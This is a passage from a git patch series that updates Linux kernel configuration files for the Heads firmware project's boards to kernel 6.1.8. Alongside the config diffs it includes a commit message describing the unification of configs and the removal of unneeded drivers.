CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + # CONFIG_CRYPTO_HW is not set # @@ -2803,7 +2982,6 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_GENERIC_FIND_FIRST_BIT=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y @@ -2812,9 +2990,26 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -2835,6 +3030,7 @@ CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set # CONFIG_XZ_DEC_SPARC is not set +# CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -2852,6 +3048,7 @@ CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y # CONFIG_DMA_API_DEBUG is not set CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y @@ -2873,7 +3070,6 @@ CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -2885,6 +3081,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 @@ -2895,19 +3092,26 @@ CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + # # Compile-time checks and compiler options # -# CONFIG_DEBUG_INFO is not set -# CONFIG_ENABLE_MUST_CHECK is not set +CONFIG_AS_HAS_NON_CONST_LEB128=y +CONFIG_DEBUG_INFO_NONE=y +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +# CONFIG_DEBUG_INFO_DWARF4 is not set +# CONFIG_DEBUG_INFO_DWARF5 is not set CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y -# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_32B is not set -CONFIG_STACK_VALIDATION=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -2926,22 +3130,28 @@ CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -# CONFIG_DEBUG_MISC is not set +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +# CONFIG_SLUB_DEBUG is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y # CONFIG_DEBUG_WX is not set CONFIG_GENERIC_PTDUMP=y # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_STATS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -2953,11 +3163,16 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y # CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -2971,16 +3186,13 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs @@ -2993,6 +3205,7 @@ CONFIG_WQ_WATCHDOG=y # end of Scheduler Debugging # CONFIG_DEBUG_TIMEKEEPING is not set +CONFIG_DEBUG_PREEMPT=y # # Lock Debugging (spinlocks, mutexes, etc...) @@ -3014,6 +3227,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set # CONFIG_STACKTRACE is not set # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3026,6 +3240,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set @@ -3037,36 +3252,40 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_RCU_TORTURE_TEST is not set # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set # CONFIG_LATENCYTOP is not set CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y CONFIG_HAVE_FUNCTION_TRACER=y -CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y # CONFIG_STRICT_DEVMEM is not set # # x86 Debugging # -CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set @@ -3099,6 +3318,12 @@ CONFIG_ARCH_HAS_KCOV=y CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set # CONFIG_RUNTIME_TESTING_MENU is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking From 89c9d6bc9bab77bd21f264aa4c8fbb247ae4eb7e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 2 Oct 2024 08:16:11 -0400 Subject: [PATCH 290/619] WiP: unify 6.1.8 kernel config changes with librems, modify modules/linux helper librems vs mainline have: - mei module not compiled in - Streamline modules/linux Makefile helpers so that one asks on console for new Kconfig options to be y/n, another one to do olddefconfig (accept new defaults) - Exercice proves again that oldconfig exposes new things added into kernel by default as opposed to defconfig format. - Add TCP Syn cookies to all linux configs (all boards add CDC tethering AFAIK. Add this protection by default) - Remove unneeded network card drivers from librems common and unify - Remove unneeded microsoft surface drivers from librems common and unify - Remove WMI embedded Binary MOF driver CONFIG_WMI_BMOF - Unify removed Kconfig options from x230 ported to 6.1.8 to librems common - Verify qemu (AMD) changes working (note, there is clock source watchdog that would need to be investigated seperately for QEMU TCG mode, that is, not KVM) - Review crypto backend requirements/unify once more - Removed bunch of unused stuff under QEMU Q35 (AMD) Q/A: - CONFIG_RANDSTRUCT_NONE vs CONFIG_RANDSTRUCT_FULL? CONFIG_RANDSTRUCT_NONE now. - CONFIG_LDISC_AUTOLOAD=y? - CONFIG_PTP_1588_CLOCK_OPTIONAL=y? - CONFIG_X86_THERMAL_VECTOR=y? - ACPI-WMI (Windows Management Instrumentation) mapper device (PNP0C14) enabled by ACPI_VIDEO and depended by DRM drivers. - ACPI_VIDEO seems needed. - CONFIG_INPUT_VIVALDIFMAP=y anabled by CONFIG_KEYBOARD_ATKBD (AT/PS2 Keyboard) Signed-off-by: Thierry Laurion --- config/linux-c216.config | 1085 ++++++++++-------- config/linux-kgpe-d16_server-whiptail.config | 791 ++++++++----- config/linux-kgpe-d16_server.config | 791 ++++++++----- config/linux-kgpe-d16_workstation.config | 827 ++++++++----- config/linux-librem_common-6.1.8.config | 32 +- config/linux-librem_common.config | 795 +++++++++---- config/linux-linuxboot.config | 2 + config/linux-nitropad-x.config | 33 +- config/linux-qemu.config | 844 +++++++++----- config/linux-t440p.config | 808 ++++++++----- config/linux-talos-2.config | 89 +- config/linux-w541.config | 808 ++++++++----- config/linux-x230-flash.config | 681 +++++------ config/linux-x230-legacy.config | 911 ++++++++------- config/linux-x230-maximized.config | 461 +++----- modules/linux | 7 +- 16 files changed, 5496 insertions(+), 3469 deletions(-) diff --git a/config/linux-c216.config b/config/linux-c216.config index dbd963eac..63ac0b751 100644 --- a/config/linux-c216.config +++ b/config/linux-c216.config @@ -1,17 +1,21 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 -CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_CC_HAS_ASM_GOTO=y CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y @@ -21,6 +25,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -40,7 +45,6 @@ CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_ZSTD is not set CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set # CONFIG_SYSVIPC is not set # CONFIG_POSIX_MQUEUE is not set # CONFIG_WATCH_QUEUE is not set @@ -62,6 +66,7 @@ CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y CONFIG_GENERIC_MSI_IRQ=y CONFIG_GENERIC_MSI_IRQ_DOMAIN=y +CONFIG_IRQ_MSI_IOMMU=y CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y CONFIG_GENERIC_IRQ_RESERVATION_MODE=y CONFIG_IRQ_FORCED_THREADING=y @@ -78,6 +83,8 @@ CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -89,11 +96,26 @@ CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set # CONFIG_NO_HZ is not set # CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -117,7 +139,6 @@ CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y # end of RCU Subsystem -CONFIG_BUILD_BIN2C=y # CONFIG_IKCONFIG is not set # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 @@ -134,12 +155,15 @@ CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set # CONFIG_SYSFS_DEPRECATED is not set -CONFIG_RELAY=y +# CONFIG_RELAY is not set CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" CONFIG_INITRAMFS_ROOT_UID=0 @@ -154,13 +178,13 @@ CONFIG_RD_XZ=y CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y -CONFIG_BPF=y CONFIG_EXPERT=y # CONFIG_MULTIUSER is not set # CONFIG_SGETMASK_SYSCALL is not set @@ -168,7 +192,6 @@ CONFIG_EXPERT=y # CONFIG_FHANDLE is not set CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y # CONFIG_BASE_FULL is not set @@ -184,10 +207,8 @@ CONFIG_IO_URING=y # CONFIG_ADVISE_SYSCALLS is not set CONFIG_MEMBARRIER=y # CONFIG_KALLSYMS is not set -# CONFIG_BPF_SYSCALL is not set -CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -200,17 +221,6 @@ CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set # end of Kernel Performance Events And Counters -# CONFIG_VM_EVENT_COUNTERS is not set -# CONFIG_SLUB_DEBUG is not set -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -# CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_PROFILING is not set # end of General setup @@ -232,17 +242,10 @@ CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y -CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y -CONFIG_ARCH_HAS_FILTER_PGPROT=y -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y -CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y -CONFIG_ARCH_WANT_GENERAL_HUGETLB=y -CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_HAVE_INTEL_TXT=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y @@ -253,12 +256,10 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # # Processor type and features # -# CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -293,22 +294,23 @@ CONFIG_CPU_SUP_INTEL=y CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y +CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 -CONFIG_NR_CPUS=64 +CONFIG_NR_CPUS=32 +CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y -CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y +# CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set CONFIG_X86_MCE=y # CONFIG_X86_MCELOG_LEGACY is not set CONFIG_X86_MCE_INTEL=y CONFIG_X86_MCE_THRESHOLD=y -CONFIG_X86_THERMAL_VECTOR=y # # Performance monitoring @@ -320,7 +322,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -329,16 +330,14 @@ CONFIG_X86_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set -CONFIG_X86_RESERVE_LOW=64 # CONFIG_MTRR is not set -CONFIG_ARCH_RANDOM=y -# CONFIG_X86_SMAP is not set -# CONFIG_X86_UMIP is not set +CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set CONFIG_X86_INTEL_TSX_MODE_OFF=y # CONFIG_X86_INTEL_TSX_MODE_ON is not set @@ -356,22 +355,32 @@ CONFIG_ARCH_HAS_KEXEC_PURGATORY=y # CONFIG_KEXEC_SIG is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 -# CONFIG_RELOCATABLE is not set +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -# CONFIG_LEGACY_VSYSCALL_EMULATE is not set # CONFIG_LEGACY_VSYSCALL_XONLY is not set CONFIG_LEGACY_VSYSCALL_NONE=y # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options @@ -386,13 +395,13 @@ CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set CONFIG_ACPI_LPIT=y CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y # CONFIG_ACPI_EC_DEBUGFS is not set CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y -CONFIG_ACPI_VIDEO=y CONFIG_ACPI_FAN=y # CONFIG_ACPI_DOCK is not set CONFIG_ACPI_CPU_FREQ_PSS=y @@ -420,9 +429,11 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # CONFIG_ACPI_APEI is not set # CONFIG_ACPI_DPTF is not set # CONFIG_ACPI_CONFIGFS is not set +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y # CONFIG_PMIC_OPREGION is not set +CONFIG_ACPI_PRMT=y CONFIG_X86_PM_TIMER=y -# CONFIG_SFI is not set # # CPU Frequency scaling @@ -446,6 +457,8 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y # CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -475,56 +488,15 @@ CONFIG_PCI_DIRECT=y # CONFIG_PCI_CNB20LE_QUIRK is not set # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y -# CONFIG_X86_SYSFB is not set # end of Bus options (PCI etc.) # # Binary Emulations # # CONFIG_IA32_EMULATION is not set -# CONFIG_X86_X32 is not set +# CONFIG_X86_X32_ABI is not set # end of Binary Emulations -# -# Firmware Drivers -# -# CONFIG_EDD is not set -# CONFIG_FIRMWARE_MEMMAP is not set -# CONFIG_DMIID is not set -# CONFIG_DMI_SYSFS is not set -CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y -# CONFIG_FW_CFG_SYSFS is not set -CONFIG_GOOGLE_FIRMWARE=y -# CONFIG_GOOGLE_SMI is not set -CONFIG_GOOGLE_COREBOOT_TABLE=y -CONFIG_GOOGLE_MEMCONSOLE=y -CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY=y -CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y -# CONFIG_GOOGLE_VPD is not set - -# -# EFI (Extensible Firmware Interface) Support -# -# CONFIG_EFI_VARS is not set -CONFIG_EFI_ESRT=y -CONFIG_EFI_RUNTIME_MAP=y -# CONFIG_EFI_FAKE_MEMMAP is not set -CONFIG_EFI_RUNTIME_WRAPPERS=y -# CONFIG_EFI_BOOTLOADER_CONTROL is not set -# CONFIG_EFI_CAPSULE_LOADER is not set -# CONFIG_EFI_TEST is not set -# CONFIG_EFI_RCI2_TABLE is not set -# CONFIG_EFI_DISABLE_PCI_DMA is not set -# end of EFI (Extensible Firmware Interface) Support - -CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y - -# -# Tegra firmware driver -# -# end of Tegra firmware driver -# end of Firmware Drivers - CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y @@ -539,8 +511,6 @@ CONFIG_CRASH_CORE=y CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y CONFIG_GENERIC_ENTRY=y -CONFIG_HAVE_OPROFILE=y -CONFIG_OPROFILE_NMI_TIMER=y # 